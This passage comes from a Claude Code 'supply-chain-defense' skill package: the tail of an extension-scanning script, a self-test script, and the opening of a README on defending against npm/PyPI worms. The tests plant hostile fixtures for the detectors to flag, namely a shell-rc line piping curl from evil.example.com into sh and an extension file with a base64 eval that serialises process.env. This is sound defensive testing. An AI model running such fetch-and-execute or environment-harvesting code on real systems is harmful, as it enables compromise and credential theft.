scan \"$ext\" --exit-non-zero-on-finding 2>/dev/null); grc=$?\n if [[ $grc -ne 0 ]] && echo \"$gout\" | grep -qiE 'potentially malicious|source code matches'; then\n FINDINGS=$((FINDINGS+1))\n printf ' %s[FINDING]%s %s\\n' \"$C_R\" \"$C_O\" \"$id\" >&2\n echo \"$gout\" | grep -iE 'found|matches|: This' | head -5 | sed 's/^/ /' >&2\n [[ \"$HAS_JQ\" -eq 1 ]] && FIND_JSON+=(\"$(jq -cn --arg i \"$id\" --arg d \"$(echo \"$gout\" | tr '\\n' ' ' | head -c 400)\" '{id:$i,engine:\"guarddog\",detail:$d}')\")\n fi\n fi\n done\ndone\n\n# ── 2. Claude Code plugins: inventory + pinned-commit ──────────────────────\nsection \"Claude Code plugins\" \"pinned-commit inventory — verify each against its marketplace\"\nPMETA=\"$HOME/.claude/plugins/installed_plugins.json\"\nif [[ -f \"$PMETA\" && \"$HAS_JQ\" -eq 1 ]]; then\n while IFS= read -r line; do info \"$line\"; done \u003c \u003c(jq -r '.plugins | to_entries[] | .key as $n | .value[] | \"\\($n) sha=\\(.gitCommitSha[0:12]) scope=\\(.scope) updated=\\(.lastUpdated)\"' \"$PMETA\" 2>/dev/null)\nelse\n info \"no installed_plugins.json (no marketplace plugins) or jq missing\"\nfi\n\n# ── 3. Installed skills: inventory + recency ───────────────────────────────\nsection \"Installed skills\" \"recency \u003c${DAYS}d (review recently-changed you didn't edit)\"\nfor sk in \"$HOME/.claude/skills\"/*/; do\n [[ -d \"$sk\" ]] || continue\n recent=$(dir_recent \"$sk\")\n if [[ \"$recent\" == yes ]]; then\n RECENT=$((RECENT+1))\n [[ \"$QUIET\" -eq 0 ]] && printf '%s\\t(recently changed)\\n' \"$(basename \"$sk\")\"\n fi\ndone\n\n# ── Output + verdict ───────────────────────────────────────────────────────\nif [[ \"$JSON\" -eq 1 ]]; then\n printf '%s\\n' \"${INV_JSON[@]:-}\" | jq -s \\\n --argjson f \"$(printf '%s\\n' \"${FIND_JSON[@]:-}\" | jq -s 'map(select(length>0))' 2>/dev/null || echo '[]')\" \\\n --argjson deep \"$DEEP\" --argjson days \"$DAYS\" \\\n '{data:{inventory: map(select(length>0)), findings:$f}, meta:{deep:($deep==1), recency_days:$days, finding_count:($f|length), schema:\"axiom.tool.scan-extensions.report/v1\"}}'\nfi\n\nif [[ \"$DEEP_OK\" -eq 1 ]]; then\n if [[ \"$FINDINGS\" -eq 0 ]]; then\n [[ \"$QUIET\" -eq 1 ]] || printf '%sBehavioural: GuardDog found no indicators in scanned extensions.%s\\n' \"$C_G\" \"$C_O\" >&2\n exit \"$EXIT_OK\"\n fi\n [[ \"$QUIET\" -eq 1 ]] || printf '%s%d extension(s) with behavioural findings — inspect + treat as incident.%s\\n' \"$C_R\" \"$FINDINGS\" \"$C_O\" >&2\n exit \"$EXIT_FINDING\"\nfi\nif [[ \"$DEEP_SKIPPED\" -eq 1 ]]; then\n [[ \"$QUIET\" -eq 1 ]] || {\n printf '%sBEHAVIOURAL SCAN SKIPPED%s — guarddog/semgrep not installed (kept off by default).\\n' \"$C_Y\" \"$C_O\" >&2\n printf ' Ran inventory + recency only — this is NOT a clean behavioural verdict.\\n' >&2\n printf ' Enable on-demand: uv tool install guarddog semgrep (then re-run --deep)\\n' >&2\n }\nfi\n[[ \"$QUIET\" -eq 1 ]] || printf '%sInventory done. %d item(s) changed within %dd — review those; run exposure-check.py for known-IOC matching.%s\\n' \"$C_D\" \"$RECENT\" \"$DAYS\" \"$C_O\" >&2\nexit \"$EXIT_OK\"\n","content_type":"application/x-sh; charset=utf-8","language":"bash","size":8780,"content_sha256":"a81ec497a8d9de7837200a08dfff3deca42ac7671e99243aa2231cc04f6e4a42"},{"filename":"tests/run.sh","content":"#!/usr/bin/env bash\n# Self-test for supply-chain-defense scripts + hook.\n#\n# Offline-deterministic (no network). Builds throwaway fixtures, asserts the\n# documented exit codes and key output of each script and the pre-install-scan\n# hook, then cleans up. Resolves paths relative to itself so it works both in the\n# repo and once installed to ~/.claude/skills/supply-chain-defense/.\n#\n# Usage: bash tests/run.sh\n# Exit: 0 all pass, 1 one or more failures\n#\n# Network-dependent checks (preinstall-check registry lookups) are intentionally\n# omitted here — run that script manually against live registries.\n\nset -uo pipefail\n\nHERE=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nSKILL=\"$(dirname \"$HERE\")\"\nSCRIPTS=\"$SKILL/scripts\"\nHOOK=\"$SKILL/../../hooks/pre-install-scan.sh\" # repo root/hooks or ~/.claude/hooks\nMHOOK=\"$SKILL/../../hooks/manifest-dep-scan.sh\"\nSCAN=\"$SKILL/scripts/scan-extensions.sh\"\n# Pick a python that actually executes — skips the Windows Store `python3` stub\n# (an app-execution alias that exits non-zero non-interactively).\nPYTHON=\"\"\nfor c in python python3 py; do\n if command -v \"$c\" >/dev/null 2>&1 && \"$c\" -c \"\" >/dev/null 2>&1; then PYTHON=\"$c\"; break; fi\ndone\n[[ -z \"$PYTHON\" ]] && { echo \"no working python found\" >&2; exit 1; }\nSB=\"$(mktemp -d)\"; trap 'rm -rf \"$SB\"' EXIT\n\nPASS=0; FAIL=0\nok() { PASS=$((PASS+1)); printf ' PASS %s\\n' \"$1\"; }\nno() { FAIL=$((FAIL+1)); printf ' FAIL %s\\n' \"$1\"; }\nexpect_exit() { [[ \"$2\" == \"$3\" ]] && ok \"$1 (exit $3)\" || no \"$1 (want $2 got $3)\"; }\nexpect_has() { case \"$3\" in *\"$2\"*) ok \"$1\";; *) no \"$1 (missing '$2')\";; esac; }\n\necho \"=== supply-chain-defense self-test ===\"\n\n# ── exposure-check.py ──────────────────────────────────────────────────────\necho \"-- exposure-check.py --\"\n\"$PYTHON\" \"$SCRIPTS/exposure-check.py\" --help >/dev/null 2>&1; expect_exit \"--help\" 0 $?\n\nmkdir -p \"$SB/exposed\" \"$SB/clean\"\nprintf '{\"name\":\"a\",\"lockfileVersion\":3,\"packages\":{\"node_modules/axios\":{\"version\":\"1.14.1\"}}}' > \"$SB/exposed/package-lock.json\"\nprintf '{\"name\":\"b\",\"lockfileVersion\":3,\"packages\":{\"node_modules/axios\":{\"version\":\"1.7.9\"}}}' > \"$SB/clean/package-lock.json\"\n\nout=\"$(\"$PYTHON\" \"$SCRIPTS/exposure-check.py\" --root \"$SB/exposed\" --no-extensions --findings-only 2>&1)\"; rc=$?\nexpect_exit \"exposed tree -> 10\" 10 \"$rc\"\nexpect_has \"exposed tree names axios\" \"[email protected]\" \"$out\"\n\n\"$PYTHON\" \"$SCRIPTS/exposure-check.py\" --root \"$SB/clean\" --no-extensions --findings-only >/dev/null 2>&1\nexpect_exit \"clean tree -> 0\" 0 $?\n\n\"$PYTHON\" \"$SCRIPTS/exposure-check.py\" --catalog \"$SB/nope.json\" --root \"$SB/clean\" >/dev/null 2>&1\nexpect_exit \"missing catalog -> 3\" 3 $?\n\n# composer.lock + \"*\" wildcard IOC (Laravel-Lang tag-rewrite model: every version poisoned)\nmkdir -p \"$SB/php\"\nprintf '{\"packages\":[{\"name\":\"laravel-lang/lang\",\"version\":\"15.30.0\"},{\"name\":\"monolog/monolog\",\"version\":\"3.7.0\"}]}' > \"$SB/php/composer.lock\"\nout=\"$(\"$PYTHON\" \"$SCRIPTS/exposure-check.py\" --root \"$SB/php\" --no-extensions --findings-only 2>&1)\"; rc=$?\nexpect_exit \"composer wildcard IOC -> 10\" 10 \"$rc\"\nexpect_has \"flags laravel-lang/lang (any version)\" \"laravel-lang/[email protected]\" \"$out\"\n\n# editor-extension inventory + IOC (Nx Console / GitHub-breach vector)\nmkdir -p \"$SB/ext/nrwl.angular-console-18.95.0\" \"$SB/ext/ms-python.python-1.0.0\"\nprintf '{\"publisher\":\"nrwl\",\"name\":\"angular-console\",\"version\":\"18.95.0\"}' > \"$SB/ext/nrwl.angular-console-18.95.0/package.json\"\nprintf '{\"publisher\":\"ms-python\",\"name\":\"python\",\"version\":\"1.0.0\"}' > \"$SB/ext/ms-python.python-1.0.0/package.json\"\nout=\"$(SC_EXT_DIRS=\"$SB/ext\" \"$PYTHON\" \"$SCRIPTS/exposure-check.py\" --root \"$SB/clean\" --findings-only 2>&1)\"; rc=$?\nexpect_exit \"editor-extension IOC -> 10\" 10 \"$rc\"\nexpect_has \"flags Nx Console 18.95.0\" \"[email protected]\" \"$out\"\n\n# new ecosystem (Cargo) parsing + match via a custom catalog\nmkdir -p \"$SB/rust\"\nprintf '[[package]]\\nname = \"evilcrate\"\\nversion = \"6.6.6\"\\n' > \"$SB/rust/Cargo.lock\"\nprintf '{\"schema_version\":\"v0.1.0\",\"entries\":[{\"id\":\"T\",\"name\":\"t\",\"ecosystem\":\"cargo\",\"package\":\"evilcrate\",\"versions\":[\"6.6.6\"],\"severity\":\"critical\"}]}' > \"$SB/cat.json\"\nout=\"$(\"$PYTHON\" \"$SCRIPTS/exposure-check.py\" --catalog \"$SB/cat.json\" --root \"$SB/rust\" --no-extensions --findings-only 2>&1)\"; rc=$?\nexpect_exit \"cargo lockfile IOC -> 10\" 10 \"$rc\"\nexpect_has \"flags cargo crate\" \"[email protected]\" \"$out\"\n\n# frontend lockfiles — pnpm + yarn (FED teams); axios 1.14.1 is the seeded IOC\nmkdir -p \"$SB/pnpm\" \"$SB/yarn\"\nprintf 'packages:\\n [email protected]:\\n resolution: {integrity: x}\\n [email protected](@types/[email protected]):\\n resolution: {integrity: y}\\n' > \"$SB/pnpm/pnpm-lock.yaml\"\n\"$PYTHON\" \"$SCRIPTS/exposure-check.py\" --root \"$SB/pnpm\" --no-extensions --findings-only >/dev/null 2>&1\nexpect_exit \"pnpm-lock.yaml IOC -> 10\" 10 $?\nprintf 'axios@^1.0.0, axios@^1.2.0:\\n version \"1.14.1\"\\n' > \"$SB/yarn/yarn.lock\"\n\"$PYTHON\" \"$SCRIPTS/exposure-check.py\" --root \"$SB/yarn\" --no-extensions --findings-only >/dev/null 2>&1\nexpect_exit \"yarn.lock IOC -> 10\" 10 $?\nmkdir -p \"$SB/bun\"\nprintf '{\"packages\":{\"axios\":[\"[email protected]\",\"\",{}],\"vite\":[\"[email protected]\",\"\",{}]}}' > \"$SB/bun/bun.lock\"\n\"$PYTHON\" \"$SCRIPTS/exposure-check.py\" --root \"$SB/bun\" --no-extensions --findings-only >/dev/null 2>&1\nexpect_exit \"bun.lock IOC -> 10\" 10 $?\n# durabletask PyPI IOC (added this pass) — *.dist-info/METADATA path\nmkdir -p \"$SB/py/durabletask-1.4.2.dist-info\"\nprintf 'Name: durabletask\\nVersion: 1.4.2\\n' > \"$SB/py/durabletask-1.4.2.dist-info/METADATA\"\nout=\"$(\"$PYTHON\" \"$SCRIPTS/exposure-check.py\" --root \"$SB/py\" --no-extensions --findings-only 2>&1)\"; rc=$?\nexpect_exit \"durabletask IOC -> 10\" 10 \"$rc\"\nexpect_has \"flags durabletask 1.4.2\" \"[email protected]\" \"$out\"\n\n# ── integrity-audit.sh ─────────────────────────────────────────────────────\necho \"-- integrity-audit.sh --\"\nbash \"$SCRIPTS/integrity-audit.sh\" --help >/dev/null 2>&1; expect_exit \"--help\" 0 $?\n\nmkdir -p \"$SB/proj/.github/workflows\"\ncat > \"$SB/proj/.github/workflows/x.yml\" \u003c\u003c'YML'\non:\n pull_request_target:\npermissions:\n id-token: write\njobs: { b: { runs-on: ubuntu-latest, steps: [ { run: \"npm publish\" } ] } }\nYML\nout=\"$(bash \"$SCRIPTS/integrity-audit.sh\" \"$SB/proj\" 2>&1)\"; rc=$?\nexpect_exit \"planted OIDC workflow -> 10\" 10 \"$rc\"\nexpect_has \"flags id-token workflow\" \"id-token\" \"$out\"\n# shell-rc persistence (HOME override → deterministic, isolated from real machine)\nmkdir -p \"$SB/fakehome\" \"$SB/empty\"\nprintf 'export X=1\\ncurl http://evil.example.com/p | sh\\n' > \"$SB/fakehome/.bashrc\"\nout=\"$(HOME=\"$SB/fakehome\" bash \"$SCRIPTS/integrity-audit.sh\" \"$SB/empty\" 2>&1)\"; rc=$?\nexpect_exit \"shell-rc persistence -> 10\" 10 \"$rc\"\nexpect_has \"flags shell_rc\" \"shell_rc\" \"$out\"\n\n# ── preinstall-check.sh (offline bits only) ────────────────────────────────\necho \"-- preinstall-check.sh --\"\nbash \"$SCRIPTS/preinstall-check.sh\" --help >/dev/null 2>&1; expect_exit \"--help\" 0 $?\nbash \"$SCRIPTS/preinstall-check.sh\" --bogus >/dev/null 2>&1; expect_exit \"bad flag -> 2\" 2 $?\nbash \"$SCRIPTS/preinstall-check.sh\" >/dev/null 2>&1; expect_exit \"no args -> 2\" 2 $?\n\n# ── pre-install-scan.sh hook (both input modes) ────────────────────────────\necho \"-- pre-install-scan.sh hook --\"\nif [[ -f \"$HOOK\" ]]; then\n # legacy $1 arg mode\n out=\"$(bash \"$HOOK\" \"npm install lodash\" 2>&1)\"; rc=$?\n expect_exit \"arg: npm install advisory -> 0\" 0 \"$rc\"\n expect_has \"arg: advisory text\" \"SUPPLY CHAIN\" \"$out\"\n # modern stdin-JSON mode\n out=\"$(printf '{\"tool_input\":{\"command\":\"pip install requests\"}}' | bash \"$HOOK\" 2>&1)\"; rc=$?\n expect_exit \"stdin: pip install advisory -> 0\" 0 \"$rc\"\n expect_has \"stdin: advisory text\" \"SUPPLY CHAIN\" \"$out\"\n # composer update — the PHP/Composer tag-rewrite vector (Laravel-Lang)\n out=\"$(printf '{\"tool_input\":{\"command\":\"composer update\"}}' | bash \"$HOOK\" 2>&1)\"; rc=$?\n expect_exit \"stdin: composer update advisory -> 0\" 0 \"$rc\"\n expect_has \"composer update flagged\" \"composer\" \"$out\"\n # already-wrapped is silent\n out=\"$(printf '{\"tool_input\":{\"command\":\"socket npm install x\"}}' | bash \"$HOOK\" 2>&1)\"; rc=$?\n expect_exit \"stdin: socket-wrapped silent -> 0\" 0 \"$rc\"\n [[ -z \"$out\" ]] && ok \"stdin: socket-wrapped produces no output\" || no \"stdin: socket-wrapped should be silent\"\n # hard gate\n printf '{\"tool_input\":{\"command\":\"npm install evil\"}}' | SUPPLY_CHAIN_BLOCK=1 bash \"$HOOK\" >/dev/null 2>&1\n expect_exit \"block mode -> 2\" 2 $?\nelse\n echo \" SKIP hook not found at $HOOK\"\nfi\n\n# ── manifest-dep-scan.sh hook (the agent-edits-manifest path) ──────────────\necho \"-- manifest-dep-scan.sh hook --\"\nif [[ -f \"$MHOOK\" ]]; then\n out=\"$(printf '{\"tool_input\":{\"file_path\":\"/p/package.json\",\"new_string\":\"\\\\\"axios\\\\\": \\\\\"^1.14.1\\\\\"\"}}' | bash \"$MHOOK\")\"; rc=$?\n expect_exit \"manifest dep-add advisory -> 0\" 0 \"$rc\"\n expect_has \"manifest advisory text\" \"SUPPLY CHAIN\" \"$out\"\n out=\"$(printf '{\"tool_input\":{\"file_path\":\"/p/package.json\",\"new_string\":\"\\\\\"version\\\\\": \\\\\"2.0.0\\\\\"\"}}' | bash \"$MHOOK\")\"\n [[ -z \"$out\" ]] && ok \"version-bump is silent (no false fire)\" || no \"version bump should not fire\"\n out=\"$(printf '{\"tool_input\":{\"file_path\":\"/p/src/index.js\",\"new_string\":\"const x=1\"}}' | bash \"$MHOOK\")\"\n [[ -z \"$out\" ]] && ok \"non-manifest edit is silent\" || no \"non-manifest should not fire\"\nelse\n echo \" SKIP manifest-dep-scan hook not found at $MHOOK\"\nfi\n\n# ── scan-extensions.sh (inventory + refuse-don't-degrade + behavioural) ────\necho \"-- scan-extensions.sh --\"\nbash \"$SCAN\" --help >/dev/null 2>&1; expect_exit \"scan --help\" 0 $?\nmkdir -p \"$SB/exts/pub.tool-1.0.0\"\nprintf '{\"publisher\":\"pub\",\"name\":\"tool\",\"version\":\"1.0.0\"}' > \"$SB/exts/pub.tool-1.0.0/package.json\"\nSC_EXT_DIRS=\"$SB/exts\" bash \"$SCAN\" -q >/dev/null 2>&1; expect_exit \"inventory (zero-dep) -> 0\" 0 $?\n# --deep without engine: skips behavioural gracefully (exit 0) + LOUD recommendation,\n# never a false-clean. Lean default keeps guarddog/semgrep off the machine.\nout=\"$(PATH=\"/usr/bin:/bin\" bash \"$SCAN\" --deep 2>&1)\"; rc=$?\nexpect_exit \"--deep w/o engine skips (not fail) -> 0\" 0 \"$rc\"\nexpect_has \"skip notice recommends install\" \"uv tool install guarddog semgrep\" \"$out\"\nexpect_has \"skip notice is loud (not a clean verdict)\" \"SKIPPED\" \"$out\"\n# --deep behavioural finding — only when the engine is actually present\nif command -v guarddog >/dev/null 2>&1 && semgrep --version >/dev/null 2>&1; then\n mkdir -p \"$SB/evil/bad.x-1.0.0\"\n printf 'eval(Buffer.from(\"Y29uc29sZS5sb2coMSk=\",\"base64\").toString());\\nconst e=JSON.stringify(process.env);\\n' > \"$SB/evil/bad.x-1.0.0/extension.js\"\n printf '{\"publisher\":\"bad\",\"name\":\"x\",\"version\":\"1.0.0\"}' > \"$SB/evil/bad.x-1.0.0/package.json\"\n SC_EXT_DIRS=\"$SB/evil\" bash \"$SCAN\" --deep --all >/dev/null 2>&1\n expect_exit \"--deep behavioural finding -> 10\" 10 $?\nelse\n echo \" SKIP --deep behavioural (guarddog/semgrep not installed)\"\nfi\n\n# ── summary ────────────────────────────────────────────────────────────────\necho \"=== $PASS passed, $FAIL failed ===\"\n[[ \"$FAIL\" -eq 0 ]] || exit 1\n","content_type":"application/x-sh; charset=utf-8","language":"bash","size":11531,"content_sha256":"5e5d25a2fa4f9eb71d854a561b956bbe7c59ec21ab474387b3669da399424a14"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"Supply Chain Defense","type":"text"}]},{"type":"paragraph","content":[{"text":"Proactive, behavioural-first defense against the 2026 software supply chain threat: self-propagating worms (Shai-Hulud / Mini Shai-Hulud) that poison popular npm and PyPI packages, steal credentials, republish from stolen tokens, and inject persistence hooks into ","type":"text"},{"text":"Claude Code and VS Code settings","type":"text","marks":[{"type":"strong"}]},{"text":" specifically.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Helps with","type":"text"}]},{"type":"paragraph","content":[{"text":"Deciding whether a dependency you're about to add is safe — getting a behavioural verdict on an npm or PyPI package ","type":"text"},{"text":"before","type":"text","marks":[{"type":"em"}]},{"text":" ","type":"text"},{"text":"npm install","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"pip install","type":"text","marks":[{"type":"code_inline"}]},{"text":", not days later when a CVE drops. ","type":"text"},{"text":"socket package score","type":"text","marks":[{"type":"code_inline"}]},{"text":", the depscore MCP, or ","type":"text"},{"text":"scripts/preinstall-check.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"A teammate or CI just pulled a freshly-published package version and you need to know if it's poisoned. The Shai-Hulud / Mini Shai-Hulud worm ships malicious versions that live for only hours (axios 1.14.1 / 0.30.4 were live ~3h).","type":"text"}]},{"type":"paragraph","content":[{"text":"npm audit","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"pip-audit","type":"text","marks":[{"type":"code_inline"}]},{"text":" come back clean but you're uneasy — those are CVE/advisory-driven and blind to malware that hasn't been reported yet. You want behavioural analysis (new ","type":"text"},{"text":"postinstall","type":"text","marks":[{"type":"code_inline"}]},{"text":" hooks, unexpected network calls, obfuscated payloads), not a CVE lookup.","type":"text"}]},{"type":"paragraph","content":[{"text":"Setting up Socket.dev on a budget — the free ","type":"text"},{"text":"socket","type":"text","marks":[{"type":"code_inline"}]},{"text":" CLI, the GitHub PR app, or the ","type":"text"},{"text":"depscore","type":"text","marks":[{"type":"code_inline"}]},{"text":" MCP for Claude Code (","type":"text"},{"text":"claude mcp add --transport http socket-mcp https://mcp.socket.dev/","type":"text","marks":[{"type":"code_inline"}]},{"text":", no API key). Deciding free vs paid tiers.","type":"text"}]},{"type":"paragraph","content":[{"text":"Auditing GitHub Actions for the stale-OIDC / ","type":"text"},{"text":"pull_request_target","type":"text","marks":[{"type":"code_inline"}]},{"text":" misconfiguration that Mini Shai-Hulud abused to mint npm publish tokens from an orphaned workflow. ","type":"text"},{"text":"zizmor","type":"text","marks":[{"type":"code_inline"}]},{"text":", or ","type":"text"},{"text":"scripts/integrity-audit.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Hardening installs against ","type":"text"},{"text":"postinstall","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"preinstall","type":"text","marks":[{"type":"code_inline"}]},{"text":" lifecycle-script malware — ","type":"text"},{"text":"npm config set ignore-scripts true","type":"text","marks":[{"type":"code_inline"}]},{"text":", the ","type":"text"},{"text":"socket","type":"text","marks":[{"type":"code_inline"}]},{"text":" wrapper, ","type":"text"},{"text":"lockfile-lint","type":"text","marks":[{"type":"code_inline"}]},{"text":", or the ","type":"text"},{"text":"pre-install-scan.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" hook.","type":"text"}]},{"type":"paragraph","content":[{"text":"Checking whether ","type":"text"},{"text":"this","type":"text","marks":[{"type":"em"}]},{"text":" machine is already compromised — detecting worm persistence hooks injected into ","type":"text"},{"text":"~/.claude/settings.json","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"~/.claude.json","type":"text","marks":[{"type":"code_inline"}]},{"text":", or VS Code ","type":"text"},{"text":"settings.json","type":"text","marks":[{"type":"code_inline"}]},{"text":". ","type":"text"},{"text":"scripts/integrity-audit.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Choosing among supply-chain scanners — when to reach for Socket vs GuardDog vs OSV-Scanner vs zizmor vs Harden-Runner. See ","type":"text"},{"text":"references/tooling-landscape.md","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Enforcing a release-age cooldown so production never pulls a day-zero version (Renovate ","type":"text"},{"text":"minimumReleaseAge","type":"text","marks":[{"type":"code_inline"}]},{"text":"), and rotating long-lived npm/PyPI publish tokens to short-lived OIDC.","type":"text"}]},{"type":"paragraph","content":[{"text":"Responding to a fresh advisory — it names a poisoned package, version, or ","type":"text"},{"text":"malicious VS Code / Cursor extension","type":"text","marks":[{"type":"strong"}]},{"text":" and you need to know whether any project or machine actually has it installed ","type":"text"},{"text":"right now","type":"text","marks":[{"type":"em"}]},{"text":". ","type":"text"},{"text":"scripts/exposure-check.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" matches on-disk npm / PyPI / Composer / Cargo / Go / RubyGems lockfiles ","type":"text"},{"text":"and installed editor extensions","type":"text","marks":[{"type":"strong"}]},{"text":" against an IOC catalog seeded with cited 2026 incidents (axios 1.14.1, Laravel-Lang tag rewrite, Nx Console 18.95.0 → the GitHub breach). For fleet-scale exposure response on macOS/Linux, see Bumblebee in ","type":"text"},{"text":"references/tooling-landscape.md","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"Wanting proof the skill covers a specific attack — the ","type":"text"},{"text":"references/threat-model.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" \"Coverage\" matrix maps every 2026 vector (maintainer compromise, OIDC theft, lifecycle scripts, persistence hooks, forged provenance, tag-rewrite, malicious extensions, MCP attacks) to its control + caveat.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Overview","type":"text"}]},{"type":"paragraph","content":[{"text":"This skill is the operational complement to two siblings:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"security-ops","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" is ","type":"text"},{"text":"reactive","type":"text","marks":[{"type":"em"}]},{"text":" — it runs ","type":"text"},{"text":"npm audit","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"pip-audit","type":"text","marks":[{"type":"code_inline"}]},{"text":" / ","type":"text"},{"text":"govulncheck","type":"text","marks":[{"type":"code_inline"}]},{"text":" against the ","type":"text"},{"text":"CVE/advisory database","type":"text","marks":[{"type":"strong"}]},{"text":". Necessary, but blind to a malicious package that hasn't been reported yet.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"supply-chain-defense","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" (this skill) is ","type":"text"},{"text":"proactive","type":"text","marks":[{"type":"em"}]},{"text":" — it analyses what a freshly-published package actually ","type":"text"},{"text":"does","type":"text","marks":[{"type":"strong"}]},{"text":" (new install scripts, network calls, obfuscation) within seconds of publication, before any CVE exists.","type":"text"}]}]}]},{"type":"blockquote","content":[{"type":"paragraph","content":[{"text":"The defensive gap is the window between \"package published\" and \"advisory issued\" — typically 30 minutes to 6 hours. A worm does real damage in that window. Behavioural analysis is the only control that closes it. See ","type":"text"},{"text":"references/threat-model.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" for why lockfiles, ","type":"text"},{"text":"npm audit","type":"text","marks":[{"type":"code_inline"}]},{"text":", 2FA, and even Sigstore/SLSA provenance were each bypassed in the wild in 2026.","type":"text"}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"The four layers","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Layer","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Control","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"What it stops","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"1. Detection","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Behavioural scanner (Socket.dev) on every dependency change","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Poisoned package merged via PR or pulled by an install","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"2. Interception","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"socket","type":"text","marks":[{"type":"code_inline"}]},{"text":" CLI wrapper + ","type":"text"},{"text":"pre-install-scan.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" hook","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Lifecycle scripts (","type":"text"},{"text":"postinstall","type":"text","marks":[{"type":"code_inline"}]},{"text":", sdist ","type":"text"},{"text":"setup.py","type":"text","marks":[{"type":"code_inline"}]},{"text":") executing on install","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"3. Hygiene","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Stale-OIDC audit, dep cooldown, token rotation, extension audit","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"The ","type":"text"},{"text":"entry points","type":"text","marks":[{"type":"em"}]},{"text":" worms use to mint publish access","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"4. Self-integrity + exposure","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"integrity-audit.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" (persistence hooks in AI-tool / editor configs) + ","type":"text"},{"text":"exposure-check.py","type":"text","marks":[{"type":"code_inline"}]},{"text":" (am I running a named-bad package?)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Worm persistence on ","type":"text"},{"text":"this","type":"text","marks":[{"type":"em"}]},{"text":" machine; latent exposure to a fresh advisory","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Cost reality — free is enough to start","type":"text"}]},{"type":"paragraph","content":[{"text":"The Socket CLI is open-source and free. The free account tier defends against this exact campaign at $0.","type":"text","marks":[{"type":"strong"}]},{"text":" Paid tiers buy noise-reduction and scale, not the core malware detection.","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Capability","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Free ($0)","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Paid (Team $25/dev → 